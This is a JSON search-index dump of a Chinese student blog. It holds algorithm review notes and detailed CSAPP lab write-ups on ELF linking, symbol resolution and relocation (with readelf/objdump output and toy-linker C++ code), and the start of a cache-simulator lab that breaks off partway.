它们在搜索过程中的作用是什么？\n约束函数：用于检测是否满足约束条件，用于在回溯法中剪去不满足约束条件的结点及其子树 界限函数：用于计算当前结点是否能达到最优，用于剪去不能达到最优的结点及其子树 4️⃣什么是最优子结构？ 请举例说明。\n最优子结构：当一个问题的最优解包含其所有子问题的最优解时，称之为具有最优子结构 比如：Dijkstra问题中最短路径就具有最优子结构 5️⃣线性时间选择算法：找到第𝑘小的数\n将输入数组按5个一组划分，每组内元素进行排序，选出每组中位数组成一个新的数组 对新数组再进行相同操作，得到中位数的中位数，作为数组的Pivot划分数组 确定第𝑘小的数在数组那一部分，然后递归地处理呢一部分 6️⃣什么是算法？算法应满足的标准是什么？\n算法：解决问题的方法和过程，有穷操作和指令的集合 标准：确定性，有穷性，可行性，健壮性 ","date":"11 May 2025","externalUrl":null,"permalink":"/notes/algorithmdesign/","section":"","summary":"\u003ch1 class=\"relative group\"\u003e算法设计与分析 \n    \u003cdiv id=\"%E7%AE%97%E6%B3%95%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%88%86%E6%9E%90\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#%E7%AE%97%E6%B3%95%E8%AE%BE%E8%AE%A1%E4%B8%8E%E5%88%86%E6%9E%90\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e1.课太蠢，简单写一点复习笔记\u003c/p\u003e\n\u003cp\u003e2.大量的数学笔记都是我复制下来的，我没有手打这么多公式的耐心，只能感谢那名陌生的同学了,原来的仓库https://github.com/DANNHIROAKI/XJTU-CS-Courses/tree/master,可能这篇文章的阅读体验相对会更好一点，因为数学公式会直接渲染并且我会多余做一些补充和更改，如果原作者看到并且觉得这样不好，您可以直接联系我删除。\u003c/p\u003e\n\u003cp\u003e3.代码就会按照原书中来的，利用\u003cstrong\u003eJava\u003c/strong\u003e来实现。\u003c/p\u003e\n\u003cp\u003e4.\u003ca href=\"https://csdiy.wiki/%e6%95%b0%e6%8d%ae%e7%bb%93%e6%9e%84%e4%b8%8e%e7%ae%97%e6%b3%95/CS170/\" target=\"_blank\"\u003ehttps://csdiy.wiki/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E4%B8%8E%E7%AE%97%E6%B3%95/CS170/\u003c/a\u003e 笔者非常后悔在学校老师狂念PPT的时候没有自学这个CS170,如果你还有机会，一定要看一看。\u003c/p\u003e","title":"AlgorithmDesign","type":"notes"},{"content":" 本文章大量意识流文字，就是我单纯发牢骚写的东西。\n","date":"22 April 2025","externalUrl":null,"permalink":"/thinking/%E8%B0%88%E8%B0%88%E9%B8%A1%E6%B1%A4/","section":"Thinking","summary":"\u003cblockquote\u003e\n\u003cp\u003e本文章大量意识流文字，就是我单纯发牢骚写的东西。\u003c/p\u003e\u003c/blockquote\u003e","title":"谈谈鸡汤","type":"thinking"},{"content":" \u0026ldquo;I am not afraid of failing. I am afraid of succeeding in things that don\u0026rsquo;t matter.\u0026rdquo;\n\u0026mdash;William Carey\n这里就是一些杂谈，随便分享什么什么学习生活，旅游啊之类的经验。\n","date":"19 April 2025","externalUrl":null,"permalink":"/life/","section":"Life","summary":"\u003cblockquote\u003e\n\u003cp\u003e\u003cem\u003e\u003cstrong\u003e\u0026ldquo;I am not afraid of failing. I am afraid of succeeding in things that don\u0026rsquo;t matter.\u0026rdquo;\u003c/strong\u003e\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e\u0026mdash;\u003cstrong\u003e\u003ca href=\"https://en.wikipedia.org/wiki/William_Carey_%28missionary%29\" target=\"_blank\"\u003eWilliam Carey\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e这里就是一些杂谈，随便分享什么什么学习生活，旅游啊之类的经验。\u003c/p\u003e","title":"Life","type":"life"},{"content":" CSAPP:LinkerLab # CSAPP上关于链接的知识我也会放在这里\u0026hellip;\u0026hellip;\n本文图片大多来源于英文原版CSAPP。\n链接机制详解 # ​\t有多详细？这很难定义吧，是否详细应当取决于读者本来的理解,linking本身就是看起来好像就是打包一下很简单的东西，但是涉及到的知识比较复杂，应用也相当广泛。\n编译器驱动程序 # 一个静态链接过程：\n静态链接 # LD 静态链接器 输入.o文件 输出一个可执行文件\n1.符号的解析\n2.重新定位\n目标文件 # 1.可重定位\n2.可执行\n3.共享（可以动态加载进入内存并且link）\n可重定位目标文件 # 意思就是这个文件作为一个目标文件，可以用来重定位。\n很多人开始区分不清楚.o和elf：elf就是一种格式\n包含的内容：\nELF 全称是 Executable and Linkable Format（可执行与可链接格式）\n是 Linux 系统中常用的目标文件格式（Windows 上用的是 PE 格式）\n一个 ELF 文件可以是：\n可重定位目标文件（Relocatable Object File） → .o 文件 可执行文件（Executable File） → 如通过链接生成的可执行程序 共享库文件（Shared Object File） → .so 文件 核心转储文件（Core Dump） → 程序崩溃时生成的调试文件 .o 文件是用编译器（如 gcc -c）从 .c 文件生成的\n.o 文件的格式就是 ELF 格式的“可重定位目标文件”\n它通常还不包含主函数（main()），不能直接运行，需要链接成可执行文件\n一个典型的格式如下：\n.text:机器代码\n.rodata:只读data\n.data:全局 静态变量\n.bss:未初始化或者初始化为0的全局静态(better save space(?))\n.symtab:符号表，函数和全局变量的信息\n​\t我们用readelf工具去读取头文件的内容，并且分析一下这个内容：\n什么是Magic Number：标识了这个可重定位目标文件：\n根据上述的信息，可以得到：\n那么section中存放的：\n就如我们上面所提到的。\n符号和符号表 # *符号表是重点内容。\n每个可重定位模块m都有一个符号表，这个symbol table就在section中。\n1.全局符号 我定义的非静态C函数和全局变量。\n2.外部符号 别人定义的非静态C函数和全局变量。\n3.局部符号 我的static函数和局部变量（.symtab不关心这些东西）,直接在stack中管理。\n所以，在C语言多文件编程中，用static保护好自己的函数和变量是好的习惯。\n不会被别人引用（明明是我先来的！！！）\n符号表条目：\n每个字段都被分配到目标文件的某个section\n用 readelf 查看目标文件内容\n选项 含义 -h 查看 ELF 文件头（Header） -S 查看段表（Section Headers） -s 查看符号表（Symbol Table） -r 查看重定位信息（Relocation Info） -l 查看程序头表（Program Header） -x \u0026lt;section\u0026gt; 以十六进制查看某个段的内容 -a 查看所有信息（等价于所有选项的合集） main.c\nint sum(int *a, int n); int array[2] = {1, 2}; int main() { int val = sum(array, 2); return val; } sum.c\nint sum(int *a, int n) { int i, s = 0; for (i = 0; i \u0026lt; n; i++) { s += a[i]; } return s; } $readelf -s main.o Symbol table \u0026#39;.symtab\u0026#39; contains 6 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 0000000000000000 0 FILE LOCAL DEFAULT ABS main.c 2: 0000000000000000 0 SECTION LOCAL DEFAULT 1 .text 3: 0000000000000000 8 OBJECT GLOBAL DEFAULT 3 array 4: 0000000000000000 40 FUNC GLOBAL DEFAULT 1 main 5: 0000000000000000 0 NOTYPE GLOBAL DEFAULT UND sum 有点懵，务必做课后练习题进一步理解。\n符号解析 # 链接器是怎样工作的？\n对于每个输入的文件的符号表进行扫描。\n多重定义的全局符号？ # 全局\u0026mdash;》强 弱\n强符号：函数 已经初始化的全局变量\n弱符号：未初始化的全局变量\n规则：\n1.强不能重名\n2.一强多弱选强符号\n3.多个弱符号随机选择（2,3都是比较危险的情况）\n-fno-common:遇到多重定义的全局符号直接触发错误，比较保险。\n是比较好理解的部分。\n与静态库的链接？ # ​\t静态库作为存档（archieve）存放在磁盘中，可以认为是一组可重定位目标文件的集合，当我们自己的编程中引用库时就如下图所示：\n当你引用addvec时，直接复制addvec.o到可执行的文件。\n如何使用静态库解析引用？ # 对于一行编译的命令，linker会从左到右进行扫描，维护三个集合：\n1.E：维护可重定位目标文件的集合\n2.U：未解析的符号的集合\n3.D：前面输入文件的已经定义的符号的集合\nprocess：\n1.扫描过程中，若为一个目标文件f，直接放入E中，并且在U和D中更改元素（比如自己定义的符号就放到D，此时引用的静态库的符号就放到U）。\n2.若f是一个archieve，那么我们将archive中的成员和U中的元素比对，如果定义了，就把这个元素放到D中去。\n3.linker完成之后，|U| ！= 0 ，那么报错中止。\nunix\u0026gt; gcc -static ./libvector.a main2.c /tmp/cc9XH6Rp.o: In function ‘main’: /tmp/cc9XH6Rp.o(.text+0x18): undefined reference to ‘addvec’ ​\t那么考察这样的情况，若你把静态库放到前面，那么开始就会和U中的元素比对，但是此时U中没有元素，当main.c被扫描时，此时它引用的静态库中的函数就会是undefined。\n所以我们要把库放在最后，并且要根据库之间的依赖型进行排序（拓扑排序）。\n如果有更复杂的依赖性问题，就可以多次在命令行上重复库（可以看课后题目）。\n如下图所示的过程：\n重定位 # 就是更换地址。\n合并输入模块，为每个符号分配运行时地址。\n1.重定位节和符号定义\n​\t比如把所有的**.data节合并成一个节并且分配地址**。\n2.重定位节中的符号引用\n​\t修改符号引用，使其指向正确的运行时地址。\n重定位条目 # 汇编器生成目标模块时生成.rel.data .rel.text 重定位条目\n重定位符号引用 # 重定位算法遍历每个section和遍历每个条目：\nforeach section s { foreach relocation entry r { refptr = s + r.offset; /* ptr to reference to be relocated */ /* relocate a PC-relative reference */ //相对地址 if (r.type == R_386_PC32) { refaddr = ADDR(s) + r.offset; /* ref’s runtime address */ *refptr = (unsigned) (ADDR(r.symbol) + *refptr - refaddr); } //绝对地址 /* relocate an absolute reference */ if (r.type == R_386_32){ *refptr = (unsigned) (ADDR(r.symbol) + *refptr); } } } 对于上面的main.o 做\nobjdump -dx main.o\nDisassembly of section .text: 0000000000000000 \u0026lt;main\u0026gt;: 0: f3 0f 1e fa endbr64 4: 55 push %rbp 5: 48 89 e5 mov %rsp,%rbp 8: 48 83 ec 10 sub $0x10,%rsp c: be 02 00 00 00 mov $0x2,%esi 11: 48 8d 05 00 00 00 00 lea 0x0(%rip),%rax # 18 \u0026lt;main+0x18\u0026gt; 14: R_X86_64_PC32 array-0x4 18: 48 89 c7 mov %rax,%rdi 1b: e8 00 00 00 00 call 20 \u0026lt;main+0x20\u0026gt; 1c: R_X86_64_PLT32 sum-0x4 20: 89 45 fc mov %eax,-0x4(%rbp) 23: 8b 45 fc mov -0x4(%rbp),%eax 26: c9 leave 27: c3 ret 这是我电脑上实际运行的结果，array和sum都是重定位PC相对引用\n重定位PC相对引用 # 1b: e8 00 00 00 00 call 20 \u0026lt;main+0x20\u0026gt; 观察这一行，e8是call的操作码，后面的00 00 00 00 都是PC相对引用的占位符。\n在重定位时，利用上述的算法，告诉我们sum在main中的偏移量，我们可以在这里调用到sum。\n求两个地址之间的相对位置：\n重定位绝对引用 # 在目标文件中直接计算并且更改。\n在我们重定位之后：\n0000000000001129 \u0026lt;main\u0026gt;: 1129: f3 0f 1e fa endbr64 112d: 48 83 ec 08 sub $0x8,%rsp 1131: be 02 00 00 00 mov $0x2,%esi 1136: 48 8d 3d d3 2e 00 00 lea 0x2ed3(%rip),%rdi # 4010 \u0026lt;array\u0026gt; 113d: e8 05 00 00 00 call 1147 \u0026lt;sum\u0026gt; 1142: 48 83 c4 08 add $0x8,%rsp 1146: c3 ret 0000000000001147 \u0026lt;sum\u0026gt;: 1147: f3 0f 1e fa endbr64 114b: ba 00 00 00 00 mov $0x0,%edx 1150: b8 00 00 00 00 mov $0x0,%eax 1155: eb 09 jmp 1160 \u0026lt;sum+0x19\u0026gt; 1157: 48 63 c8 movslq %eax,%rcx 115a: 03 14 8f add (%rdi,%rcx,4),%edx 115d: 83 c0 01 add $0x1,%eax 1160: 39 f0 cmp %esi,%eax 1162: 7c f3 jl 1157 \u0026lt;sum+0x10\u0026gt; 1164: 89 d0 mov %edx,%eax 1166: c3 ret main中113e的位置就是sum的重定位地址。\n这里的值5就是重定位的值：当CPU执行call指令时，PC会指向下一条就是1142,为了执行这个指令，CPU把PC放进栈中，并且 PC += 5，也就是PC = 1147，此时，就会执行到sum的代码。\n这个逻辑是和call指令配套的，linker在🔗这两个程序的时候，就会根据重定位表，把e8之后的占位符更改成要调用的函数相对于当前PC的偏移量的大小，call会先将PC压入栈中，PC += offset，接着就会执行到目标函数。\n可执行目标文件 # 我们现在已经合成了这个：\n这是一个典型的格式。\n我们查看一下上面那个a.out的program header\nProgram Header: PHDR off 0x0000000000000040 vaddr 0x0000000000000040 paddr 0x0000000000000040 align 2**3 filesz 0x00000000000002d8 memsz 0x00000000000002d8 flags r-- INTERP off 0x0000000000000318 vaddr 0x0000000000000318 paddr 0x0000000000000318 align 2**0 filesz 0x000000000000001c memsz 0x000000000000001c flags r-- LOAD off 0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000000000 align 2**12 filesz 0x00000000000005f0 memsz 0x00000000000005f0 flags r-- LOAD off 0x0000000000001000 vaddr 0x0000000000001000 paddr 0x0000000000001000 align 2**12 filesz 0x0000000000000175 memsz 0x0000000000000175 flags r-x LOAD off 0x0000000000002000 vaddr 0x0000000000002000 paddr 0x0000000000002000 align 2**12 filesz 0x00000000000000d8 memsz 0x00000000000000d8 flags r-- LOAD off 0x0000000000002df0 vaddr 0x0000000000003df0 paddr 0x0000000000003df0 align 2**12 filesz 0x0000000000000228 memsz 0x0000000000000230 flags rw- DYNAMIC off 0x0000000000002e00 vaddr 0x0000000000003e00 paddr 0x0000000000003e00 align 2**3 filesz 0x00000000000001c0 memsz 0x00000000000001c0 flags rw- NOTE off 0x0000000000000338 vaddr 0x0000000000000338 paddr 0x0000000000000338 align 2**3 filesz 0x0000000000000030 memsz 0x0000000000000030 flags r-- NOTE off 0x0000000000000368 vaddr 0x0000000000000368 paddr 0x0000000000000368 align 2**2 filesz 0x0000000000000044 memsz 0x0000000000000044 flags r-- 0x6474e553 off 0x0000000000000338 vaddr 0x0000000000000338 paddr 0x0000000000000338 align 2**3 filesz 0x0000000000000030 memsz 0x0000000000000030 flags r-- EH_FRAME off 0x0000000000002004 vaddr 0x0000000000002004 paddr 0x0000000000002004 align 2**2 filesz 0x0000000000000034 memsz 0x0000000000000034 flags r-- STACK off 0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000000000 align 2**4 filesz 0x0000000000000000 memsz 0x0000000000000000 flags rw- RELRO off 0x0000000000002df0 vaddr 0x0000000000003df0 paddr 0x0000000000003df0 align 2**0 filesz 0x0000000000000210 memsz 0x0000000000000210 flags r-- 后面的是执行的权限的问题，vaddr是开始的内存地址，memsz是总共的内存大小，off偏移量，我们要满足这样的条件：\n​\tvaddr mod align = off mod align\n这样程序执行的时候，可以有效率的传送到内存，我们会在虚拟内存的章节中学习到。\n加载可执行目标文件 # 我们可能还会有一个关于加载器的实验，继续理解这个过程。\n./prog\n​\t这样我们来运行一个自己写的程序，loader把代码和数据复制到内存中，并且跳转到内存的第一条指令或者入口点，这个复制的过程就叫 加载（Load）。\n​\t每个linux程序都有一个运行时内存映像。\n我们对于加载的描述从概念上来说是正确的，但也不是完全准确，这是有意为之。 要理解加载实际是如何工作的 ，你必须理解进程 、虚拟内存和内存映射的概念，这些我们还没有加以讨论 。在后面笫8章和笫9章中遇到这些概念时 ，我们将重新回到加载的问题上，并逐渐向你揭开它的神秘面纱。\n实验： # 本实验就是模仿ld，写一个静态的linker，类似于linux的ld工具。\n用简单的cpp就可以。\n为什么要linker：为源代码的模块化提供可以相互引用的接口（extern）。\n1.符号解析：为每个外部文件的符号引用找对应的解析。\n2.合并成一个可执行文件。\n3.重定位，修改可执行文件代码，使其指向正确的位置。\nCPU使用PC相对引用访问地址。\n重定位就是在合并之后，在这些空缺的位置填入地址。\n实验框架：\n我们要实现的就是解析和重定位这两个关键过程。\n理解关键的数据结构：\nObjectFile # 用来存储目标文件中所需的信息，其包含的成员变量及其含义如下：\nsymbolTable ：目标文件的符号表，保存其每一个符号（见下文Symbol） relocTable ：目标文件的重定位表，保存其每一个重定位条目（见下文RelocEntry） sections ：目标文件的节表，保存节名string到节的映射（见下文Section） sectionsByIdx ：目标文件的节表，保存节索引index到节指针Section*的映射 baseAddr ：目标文件在内存中的起始地址，详见test0 size ：目标文件的大小 Section # 用来存储目标文件中的一个节，其包含的成员变量及含义如下：\nname ：节名称 type ：节类型，在本实验中略 flags ：节标志，在本实验中略 info ：节附加信息，在本实验中略 index ：节下标 addr ：节的起始地址 off ：节在目标文件中的偏移量 size ：节大小 align ：节在目标文件中的对齐限制 关于type和flags的详细信息可参考[ELF文件的man手册中有关Shdr的部分](https://www.man7.org/linux/man-pages/man5/elf.5.html#:~:text=Section header (Shdr))。\nSymbol # 用来存储目标文件中的一个符号，其包含的成员变量及含义如下：\nname ：符号名称，为string类型。 value ：符号值，表示符号在其所属节中的偏移量。 size ：符号大小，当符号未定义时则为0 type ：符号类型，例如符号是变量还是函数 bind ：符号绑定，例如符号为全局或局部的 visibility ：符号可见性，本实验中略 offset ：符号在目标文件中的偏移量 index ：符号相关节的节头表索引 RelocEntry # 用来存储目标文件中的一个引用产生的重定位条目，其包含的成员变量及含义如下：\nsym ：指向与该重定位条目关联的符号Symbol的指针 name ：重定位条目关联的符号名称，类型为string offset ：重定位条目在节中的偏移量 type ：重定位条目类型 addend ：常量加数，用于计算要存储到可重定位字段中的值 allObject # 用来存储所有目标文件对应的ObjectFile数据结构。\nmergedObject # 所有目标文件合并为一个后对应的ObjectFile。\n对于 绝对重定位（如 R_X86_64_64）：\n结果=符号地址+addend\\text{结果} = \\text{符号地址} + \\text{addend}结果=符号地址+addend\n对于 PC 相对重定位（如 R_X86_64_PC32）：\n结果=符号地址+addend−当前地址\\text{结果} = \\text{符号地址} + \\text{addend} - \\text{当前地址}结果=符号地址+addend−当前地址\n​ 想一想：为什么R_X86_64_32对应的addend为0，而R_X86_64_PC32不是？addend有什么实际意义？\n前面是绝对地址，我们是直接得到的，但是后面是PC相对寻址，也就是说call的时候，是相对于此时的PC的值的偏移量计算的，在找数组中的某个值的时候也非常有用。\n重定位的逻辑： # 说到重定位就要考虑到重定位表的问题，我们要如何利用重定位表修改可执行目标文件中的占位符号（0000）。\n#include \u0026#34;relocation.h\u0026#34; #include \u0026lt;sys/mman.h\u0026gt; // test0和test1都只需要进行重定位即可 // 重定位是加载这个程序之前我要修改值 void handleRela(std::vector\u0026lt;ObjectFile\u0026gt; \u0026amp;allObject, ObjectFile \u0026amp;mergedObject, bool isPIE) { /* When there is more than 1 objects, * you need to adjust the offset of each RelocEntry */ // 合并之后，我们要更改偏移量,在大于1的情况下 if (allObject.size() \u0026gt; 1) { // 每次sum都要加上一整个节大小的偏移 uint64_t sum = 0; for (auto \u0026amp;object : allObject) { for (auto \u0026amp;rel : object.relocTable) { rel.offset += sum; } sum += object.sections[\u0026#34;.text\u0026#34;].size; } } /* in PIE executables, user code starts at 0xe9 by .text section */ /* in non-PIE executables, user code starts at 0xe6 by .text section */ // 注意 textOff 和 textAddr 的区别：textOff 是指 .text 节在 ELF 文件中存储的位置，而 textAddr 是指 .text 节被运行时加载后在内存中所处的位置。 // 这里都是mergeObject的位置 uint64_t userCodeStart = isPIE ? 0xe9 : 0xe6; uint64_t textOff = mergedObject.sections[\u0026#34;.text\u0026#34;].off + userCodeStart; uint64_t textAddr = mergedObject.sections[\u0026#34;.text\u0026#34;].addr + userCodeStart; for (auto \u0026amp;object : allObject) { for (auto \u0026amp;rel : object.relocTable) { // 直接转换 uint64_t baseAddr = reinterpret_cast\u0026lt;uint64_t\u0026gt;(mergedObject.baseAddr); // 查看重定位的类型 // 相对寻址 if (rel.type == R_X86_64_PLT32 || rel.type == R_X86_64_PC32) { // 填入目标指令地址和当前PC的差值 + 补偿量 int val = rel.sym-\u0026gt;value - (textAddr + rel.offset) + rel.addend; // 注意这里的地址是32位的地址 *reinterpret_cast\u0026lt;int *\u0026gt;(baseAddr + textOff + rel.offset) = val; } // 这是绝对地址 else if (rel.type == R_X86_64_32) { int val = rel.sym-\u0026gt;value + rel.addend; *reinterpret_cast\u0026lt;int *\u0026gt;(baseAddr + textOff + rel.offset) = val; } else { fprintf(stderr, \u0026#34;There is something wrong...\\n\u0026#34;); } } } } 符号解析的逻辑： # 这和之前我们讨论库是怎么加载的是类似的，我们维护集合。\n看了别人的代码，为了防止有抄袭的风险，我就有部分写的比较抽象。\n#include \u0026#34;resolve.h\u0026#34; #include \u0026lt;iostream\u0026gt; #define FOUND_ALL_DEF 0 #define MULTI_DEF 1 #define NO_DEF 2 std::string errSymName; int callResolveSymbols(std::vector\u0026lt;ObjectFile\u0026gt; \u0026amp;allObjects); void resolveSymbols(std::vector\u0026lt;ObjectFile\u0026gt; \u0026amp;allObjects) { int ret = callResolveSymbols(allObjects); if (ret == MULTI_DEF) { std::cerr \u0026lt;\u0026lt; \u0026#34;multiple definition for symbol \u0026#34; \u0026lt;\u0026lt; errSymName \u0026lt;\u0026lt; std::endl; abort(); } else if (ret == NO_DEF) { std::cerr \u0026lt;\u0026lt; \u0026#34;undefined reference for symbol \u0026#34; \u0026lt;\u0026lt; errSymName \u0026lt;\u0026lt; std::endl; abort(); } } /* bind each undefined reference (reloc entry) to the exact valid symbol table entry * Throw correct errors when a reference is not bound to definition, * or there is more than one definition. */ // 这里我们要做三件事情1.找未定义的符号2.多重定义3.把弱符号绑定到强符号上面去 int callResolveSymbols(std::vector\u0026lt;ObjectFile\u0026gt; \u0026amp;allObjects) { // if found multiple definition, set the errSymName to problematic symbol name and return MULTIDEF; // if no definition is found, set the errSymName to problematic symbol name and return NODEF; // 维护两个集合，strong和weak // 前面是name，后面是对应的*symbol std::unordered_map\u0026lt;std::string, Symbol *\u0026gt; weakMap; std::unordered_map\u0026lt;std::string, Symbol *\u0026gt; strongMap; for (auto \u0026amp;object : allObjects) { // 遍历符号表 for (auto \u0026amp;symbol : object.symbolTable) { // 找到了一个强符号 if (symbol.index != SHN_UNDEF \u0026amp;\u0026amp; symbol.index != SHN_COMMON \u0026amp;\u0026amp; symbol.bind == STB_GLOBAL) { // 已经存在，表明多重定义 if (strongMap.find(symbol.name) != strongMap.end()) { errSymName = symbol.name; return MULTI_DEF; } else { // 原来没有，直接绑定 strongMap.emplace(symbol.name, \u0026amp;symbol); } } } } // 把所有强符号绑定好了之后，再去处理弱符号 for (auto \u0026amp;object : allObjects) { for (auto \u0026amp;symbol : object.symbolTable) { if (symbol.index == SHN_COMMON \u0026amp;\u0026amp; symbol.bind == STB_GLOBAL) { // 不存在直接绑定 if (weakMap.find(symbol.name) == weakMap.end()) { weakMap.emplace(symbol.name, \u0026amp;symbol); } } } } // 处理弱符号和强符号相同的情况 for (auto it = weakMap.begin(); it != weakMap.end(); ++it) { if (strongMap.find(it-\u0026gt;first) != strongMap.end()) { it-\u0026gt;second-\u0026gt;value = strongMap[it-\u0026gt;first]-\u0026gt;value; it-\u0026gt;second-\u0026gt;index = strongMap[it-\u0026gt;first]-\u0026gt;index; } } // 遍历重定位符号表，哪些符号要重定位但是没有在map里，说明未定义的错误 // 重定位的symbol在最后检查的时候被绑定 for (auto \u0026amp;object : allObjects) { for (auto \u0026amp;rel : object.relocTable) { if (strongMap.find(rel.name) != strongMap.end()) { rel.sym = strongMap[rel.name]; } else if (weakMap.find(rel.name) != weakMap.end()) { rel.sym = weakMap[rel.name]; } else { errSymName = rel.name; return NO_DEF; } } } return FOUND_ALL_DEF; } 总之，链接是一个复杂的话题，牵扯的知识很多且杂，还有动态DLL，库打桩机制等内容，之后再做了解。\n","date":"19 April 2025","externalUrl":null,"permalink":"/csapp/csapplinkerlab/","section":"","summary":"\u003ch1 class=\"relative group\"\u003eCSAPP:LinkerLab \n    \u003cdiv id=\"csapplinkerlab\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#csapplinkerlab\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003eCSAPP上关于链接的知识我也会放在这里\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003cp\u003e本文图片大多来源于英文原版CSAPP。\u003c/p\u003e\u003c/blockquote\u003e\n\n\n\u003ch2 class=\"relative group\"\u003e链接机制详解 \n    \u003cdiv id=\"%E9%93%BE%E6%8E%A5%E6%9C%BA%E5%88%B6%E8%AF%A6%E8%A7%A3\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#%E9%93%BE%E6%8E%A5%E6%9C%BA%E5%88%B6%E8%AF%A6%E8%A7%A3\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e​\t有多详细？这很难定义吧，是否详细应当取决于读者本来的理解,linking本身就是看起来好像就是打包一下很简单的东西，但是涉及到的知识比较复杂，应用也相当广泛。\u003c/p\u003e","title":"CSAPP:LinkerLab","type":"csapp"},{"content":" CSAPP:CacheLab # 本次lab分为A和B两部分，我先看情况做，并且会部分引用我校助教撰写的一些内容以及思考题，首先我们要熟悉一下Cache的工作原理，关于这一部分的内容，你也可以看我的ComputerOrgnization中的内容（写的不怎么样，你最好还是看课本，而且我还建议你做一下课本上的习题），A部分是实现一个3级Cache，实现的过程中我们应当会对Cache的工作原理更加熟悉，B部分是优化矩阵转置函数，我认为会教会我们什么是Cahce友好的代码。\n注意：以下不会从零开始讲述Cache的知识，并且不要抄袭，不要抄袭，不要抄袭。\nCache:计算机的世界无处不在的伟大思想\u0026hellip;\u0026hellip;\n熟悉：\nCacheLine的组织方式 # 可以看成是一个元素是CacheLine的二维数组。\nE = 1:直接映射\nS = 1：全相联映射\n处理写操作的方法 # cache处理写操作的流程比读取要复杂，因为写入操作涉及数据的更改，一旦涉及修改操作，就会带来各种一致性问题，因此cache需要合理的处理数据更改的时机和范围。同时还需要处理写miss的情况。我们在这里简要介绍一下有关写cache的一些问题和处理机制。\n一般而言，对于写入操作，cache一般有两种处理机制，分别是：\nwrite back（写回）：即数据的修改只发生在当前这一级cache中，通常会引入一个dirty标记位，表示cache中的数据和下一级cache（或内存）中的数据不一致，只有在当前的cacheline被evict的时候才会将数据写回到下一级cache（或内存）。 write through（写直达）：顾名思义，写入操作会同时将数据写入到当前cache和下一级cache（或内存中），因此二者的数据是同步的。 除了上述的两种策略，cache还需要确定如何处理write miss的情况，一般而言，也有两种方法：\nwrite allocate（写分配）：当发生cache miss时，需要访问下一级cache（或内存）将需要的cache line加载到当前cache中，然后再修改这个cache line中的内容 no write allocate（写不分配）：当发生cache miss时，无需修改当前cache中的内容，直接写入下一级cache（或内存） 上述策略两两组合可以产生4种不同的写策略，但是一般常见的只有以下两种：\nwrite back/write allocate：即写回+写分配策略（图片来自wiki）\nwrite through/no write allocate：即写直达+写不分配策略\nQ：为什么没有写回和写不分配的操作？\nA：试想一下这样的情况：有二级缓存L1和L2,我们在L1写某个内存时发生了CacheMiss，假如我们写这个的概率很高，那么这块内存应该加载到L1才更加合理，但是每次都会发生CacheMiss，这不符合时间局部性的要求。另外一种方式也可以这样思考一下。\n多级cache的包含准则(inclusion policy) # 这是本Lab的重中之重，请务必仔细理解。\n包含性策略：更高层次的，访问速度更快的cache包含的内容是下层cache的一个子集。\n现代处理器中的 L1 和 L2 Cache 可能采用不同的 一致性策略，主要有：\n包容式（Inclusive）Cache：L2 必须包含 L1 中的所有数据。 非包容式（Non-Inclusive）Cache：L1 和 L2 不必强制包含相同数据，可以各自缓存不同的数据。 独占式（Exclusive）Cache：L1 和 L2 不共享数据，数据只存在一个层级。 如上图的一个模拟情况：\n多余不再赘述，我们只需要注意这样两点：\n1.上层的存储不断Cache Miss时，直到找到没有Cache Miss的这样一层，接着要把这个数据加载到之前Cache Miss的每一层。\n2.当下层的存储发生Cache Evict时，我们要把这一层之上的所有这个数据置为无效，显然，对于Inclusive Policy，如果不驱逐就不满足子集条件。\n三级Cache模拟器 # 我们要实现这样一个Cache：\nL1分为L1D（数据读写）和L1I（指令读取）两个分离的cache，并且L1I是只读的。\nL1和L2为每个核心私有\nL2为unfied cache，也就是会同时存储指令和数据\nL3为unfied cache，且所有核心共享\n每个Cache的具体配置，方便查阅：\n每个cache的具体配置如下：\nL1D(I) cache size: 64B set: 4 associativity: 2-way cache line size: 8B write policy: write back + write allocate L2 cache size: 256B set: 8 associativity: 4-way cache line size: 8B write poliy: write back + write allocate inclusion policy: inclusive L3 cache size: 2KB set: 16 associativity: 8-way cache line size: 16B write policy: write back + write allocate inclusion policy: inclusive 我们实现单核的CPU中的缓存机制，不考虑并发访问和与核心的缓存一致性问题。\n小小吐槽一下：我们学校的助教简直已经把lab喂到嘴里了，把一整个lab变成了leetcode一样的核心代码模式，这样不好，但是门槛会变低。\n（对不起，误会了，还是挺难的\u0026hellip;\u0026hellip;）\n先读一下定义的头文件：\n/* * cachelab.h - Prototypes for Cache Lab helper functions */ #ifndef CACHE_LAB_H #define CACHE_LAB_H #include \u0026lt;stdbool.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; #define L1_SET_NUM 4 #define L1_LINE_NUM 2 